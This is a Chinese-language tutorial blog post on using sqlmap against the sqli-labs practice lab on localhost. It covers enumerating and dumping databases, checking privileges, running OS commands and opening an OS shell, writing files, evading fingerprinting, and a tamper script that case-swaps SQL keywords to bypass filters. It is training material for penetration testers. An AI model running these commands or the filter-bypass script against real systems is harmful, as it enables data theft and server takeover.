sqlmap从注入到脚本制作【超全】

在这里插入图片描述

官方地址:Tags · sqlmapproject/sqlmap (github.com)

简介

SQLMap 是一个开源的渗透测试工具,专门用于自动化检测和利用 SQL 注入漏洞。它具备强大的功能和灵活的使用方式,适合安全研究人员和渗透测试人员使用。

基本知识

  1. 脚本存放路径在sqlmap的当前路径的tamper文件夹中
  2. 结果或者日志存放在C:\Users\Administrator\AppData\Local\sqlmap\output
  3. 数据库爆破时的字典是在data\txt这个文件夹的

使用教程

  1. 普通注入

    1. 示例数据库结构:
      靶场:sqli-labs 第一关
      [*] 123456
      [*] challenges
      [*] demo01
      [*] information_schema
      [*] mysql
      [*] performance_schema
      [*] pikachu
      [*] security
      	| emails   |
      		+----------+-------------+
      		| Column   | Type        |
      		+----------+-------------+
      		| email_id | varchar(30) |
      		| id       | int(3)      |
      		+----------+-------------+
      				+----+------------------------+
      				| id | email_id               |
      				+----+------------------------+
      				| 1  | Dumb@dhakkan.com       |
      				| 2  | Angel@iloveu.com       |
      				| 3  | Dummy@dhakkan.local    |
      				| 4  | secure@dhakkan.local   |
      				| 5  | stupid@dhakkan.local   |
      				| 6  | superman@dhakkan.local |
      				| 7  | batman@dhakkan.local   |
      				| 8  | admin@dhakkan.com      |
      				+----+------------------------+
      	| referers |
      	| uagents  |
      | users
      [*] sys
      
    2. 爆破所有数据库名
      1. payload:

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --dbs
        
    3. 爆破表名
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" -D "security" --tables
        
    4. 爆破列名(字段)
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --columns -T "emails" -D "security"
        
    5. 爆破数据
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" -T "emails" -D "security" -C "id,email_id" --dump
        
  2. 无应答注入

    1. 在注入过程中通常会询问’yes’ or ‘no’,添加参数则设置为默认状态

    2. payload:

      python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --batch
      
  3. 数据包注入

    1. data字段数据提交
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-11/" --data "uname=adminn*&passwd=adad*&submit=Submit*"
        
    2. 整个数据包提交
      1. payload

        python sqlmap.py -r .\1.txt
        
  4. 注入水平与风险程度

    1. 注入水平
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-11/" --level=(1-5,默认为1)
        
    2. 风险程度
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-11/" --risk=(0-3,默认为1)
        
  5. 刷新缓存

    1. 自动刷新
      1. payload

        python sqlmap.py --purge
        
    2. 手动刷新
      1. 文件存放目录路径

        C:\Users\Administrator\AppData\Local\sqlmap\output
        
  6. 当前数据库名称

    1. payload

      python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --current-db
      
  7. 数据库用户权限

    1. 查看权限
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --privileges
        
    2. 判断是否管理员权限
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --is-dba
        
  8. 数据库用户

    1. 所有数据库用户
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --users
        
    2. 当前数据库用户
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --users
        
  9. 打乱默认指纹

    1. payload:

      --user-agent ""   //自定义user-agent
      --random-agent   //随机user-agent
      --time-sec=(2,5)   //延迟响应,默认为5
      
  10. 执行数据库命令

    1. 执行cmd命令
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --os-cmd=dir
        
    2. 系统交互命令
      1. payload

        python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --os-shell
        
  11. 读取文件

    1. payload

      python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --file-write "D:\phpstudy_pro\WWW\demo01\xiaodi.php" --file-dest "c:\test\1.txt"
      
  12. 设置代理

    1. payload

      python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --proxy "http://127.0.0.1:8080/"
      
  13. 脚本使用

    1. payload

      python sqlmap.py -u "http://127.0.0.1/demo01/sqli/base64.php?id=MQ==" --tamper=base64encode.py
      脚本名称可在tamper文件夹找到
      
  14. 脚本制作

    1. 使用说明

      1. 我们可以看到模版那里有很多reolace函数,这些是字符串替换函数,例如replace(‘SELECT’,‘sElEct’)是将SELECT替换成sElEct,现在因该懂了吧,就是自己找到绕过的方法,通过替换来进行绕过,从而顺利执行sqlmap
    2. 模版

      #!/usr/bin/env python
      
      """
      Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
      See the file 'LICENSE' for copying permission
      """
      
      from lib.core.convert import encodeBase64
      from lib.core.enums import PRIORITY
      
      __priority__ = PRIORITY.LOW
      
      def dependencies():
          pass
      
      def tamper(payload, **kwargs):
          """
          Base64-encodes all characters in a given payload
      
          >>> tamper("1' AND SLEEP(5)#")
          'MScgQU5EIFNMRUVQKDUpIw=='
          """
      
          if payload:    
              payload = payload.replace('SELECT','sElEct')
              payload = payload.replace('OR','Or')
              payload = payload.replace('AND','And')
              payload = payload.replace('SLEEP','SleeP')
              payload = payload.replace('ELT','Elt')
          return payload
      

在这里插入图片描述

  • 21
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值